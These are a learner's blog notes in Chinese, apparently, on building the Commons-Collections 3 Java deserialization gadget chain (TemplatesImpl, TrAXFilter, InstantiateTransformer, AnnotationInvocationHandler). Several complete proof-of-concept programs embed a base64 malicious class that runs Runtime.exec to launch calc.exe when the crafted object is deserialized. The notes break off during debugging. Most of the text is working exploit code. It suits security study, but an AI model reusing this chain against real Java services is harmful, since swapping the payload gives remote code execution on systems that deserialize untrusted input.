目录
1. 前言
接着干CC链,就跟着 feng 师傅的博客来了
前面刚学习了 利用 TemplatesImpl
来动态加载字节码,我们通过调用它的 newTransformer()
方法,即可执行这段字节码的类构造器。
那么怎么在反序列化中利用呢?那就是 CC3 了
1.1 利用思路
Y4
绕过了对
InvokerTransformer
的利用,替代方法是这⾥⽤⼀个新的Transformer
,org.apache.commons.collections.functors.InstantiateTransformer
,通过利⽤nstantiateTransformer
来调⽤到TrAXFilter
的构造⽅法,再利
⽤其构造方法⾥的templates.newTransformer()
调⽤到TemplatesImpl
⾥的字节码
2. 分析
2.0介绍
这里只是最最基本的CC3 的分析,高级的可见 3.x
本来把CC1忘记了,然后看一下,跟一下就想起来了。
总的来说,就是CC1的Map.put()
触发第三个参数的transform()
。然后走的ChainedTransformer#transform()
。然后ChainedTransformer#transform()
中放的显示 TemplatesTmpl
这个类,然后是它的newTransformer()
这个方法,然后就反射调用了。达到了TemplatesTmpl.newTransformer()
的效果
先看一下 CC1 的东西
package aa;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
然后再结合上一个的字节码的demo
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
import java.util.Base64;
public class hellotest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates,"_bytecodes",new byte[][]{bytes});
setFieldVaule(templates,"_name","adam");
setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
结合起来:
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates,"_bytecodes",new byte[][]{bytes});
setFieldVaule(templates,"_name","adam");
setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new InvokerTransformer("newTransformer", null,null),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
2.1 疑问来了
这也只是换了 触发的时候啊,我们当时 学习 动态加载字节码的时候,直接调用TemplatesTmpl.newTransformer()
这个没有报错啊,
那么这里为什么就要换为反射的方法了啊?难道是它不能够直接序列化,反序列化?
好像没影响啊, 感觉有问题呢?????
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates,"_bytecodes",new byte[][]{bytes});
setFieldVaule(templates,"_name","adam");
setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new InvokerTransformer("newTransformer", null,null),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
byte[] bytess = serialize(outerMap);
System.out.println(new String(bytess));
unserialize(bytess);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
不知道能不能反序列化,,,
2.2 接着走吧
其实 CC3 不是这个样子的,CC3 是为了 绕过一些规则对于 InvokerTransformer
的限制的,也就是说有一些反序列化的过滤器中的黑名单中有 InvokerTransformer
,所以不使用InvokerTransformer
的CC3才出现了。为了绕过黑名单的检测。
ysoserial
的作者找到了com.sun.org.apache.xalan.internal.xsltc.trax
下面的TrAXFilter
类,它的构造器非常有意思,调用了newTransformer
:
public TrAXFilter (Templates templates)
throws TransformerConfigurationException
{
m_templates = templates;
m_transformer = (TransformerImpl)templates.newTransformer();
}
当然没有InvokerTransformer
了,我们也就没有办法调用反射来走TrAXFilet
的构造方法了。
那么我们要使用的化,就需要在 TrAXFilter
的构造参数中传入TemplatesImpl
类了。然后就能够在 new TrAXFilter(TemplatesImpl)
或者classloader.newInstance(TmplatesImpl)
的时候就执行了。
那么我们就要找一个类,它在反序列化readObject()
的时候能够实例化 TrAXFilter
这个类才行啊。而且传入的template
要可控才行呢
或者不用它的readObject()
。是这个过程中的一个方法也行。这个方法能够例化 TrAXFilter
这个类才行啊。而且传入的template
要可控
然后ysoserial
的作者就找到了CommonsCollections
中的这个InstantiateTransformer
类:
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class InstantiateTransformer implements Transformer, Serializable {
它继承自Transformer
类,然后通过反射来创建一个对象。
构造方法: 他还有两个对象,分别是反射的参数类型 , 和 反射的参数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
/** The constructor parameter types */
private final Class[] iParamTypes;
/** The constructor arguments */
private final Object[] iArgs;
和一个transform()
方法
/*Transforms the input Class object to a result by instantiation.*/
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
简洁明了,通过反射获取构造器,然后实例化,并返回这个对象,
我们只要替换下这个就行了。POC如下吧:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
TrAXFilter
就是传入的 input
。然后,就是走TemplateImpl
构造函数了。它继承自Templates
。所以这里就写这个.class了。
2.3 假的POC
总体的POC
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
setFieldVaule(templates, "_name", "adam");
setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
这个只是正向的,我们要反向的时候走一波
正向的时候是 Map.put()
触发的,那么我们要找的就是一个类的readObject()
,能够触发这个Map.put
。
刚刚画了半个小时去复习了一下CC1-上:
最终是MapEntry#setValue()
触发的,会触发TransformedMap
的transfrom()
。
然后把CC1 的那个AnnotationInvocationHandler
给拿过来了。但是出问题,在outermap.put()
之后就停掉了
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
setFieldVaule(templates, "_name", "adam");
setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
byte[] bytes1 = serialize(handler);
System.out.println(new String(bytes1));
unserialize(bytes1);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
2.4 为何 outermap.put() 会报错?
是我们要换为 fake 的才行,然后后面用反射设置私有属性,再给他换成正确的来。在 CC1 -忘了上下,有讲到这个点,还是
然后在p神的代码发现,
想起来了吧,开始的时候先设置为 fake
这个POC:中已经将哪里是fake
。哪里是true
都用注释弄出来了都
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
setFieldVaule(templates, "_name", "adam");
setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());
// fake的
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
// Transformer transformerChain = new ChainedTransformer(transformers);
//先使用fake
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//换为真的
setFieldVaule(transformerChain,"iTransformers",transformers);
byte[] bytes1 = serialize(handler);
System.out.println(new String(bytes1));
unserialize(bytes1);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
2.5 为何不弹计算器???
made,为啥,debug跟一跟看看。
熟悉的感觉,还是先从 AnnotationInvocationHandler#readObject()
入手看:
哪里出问题了。我没有像之前一样进入下面的debug里面。
。。。对照着P神的源码发现了。。。。
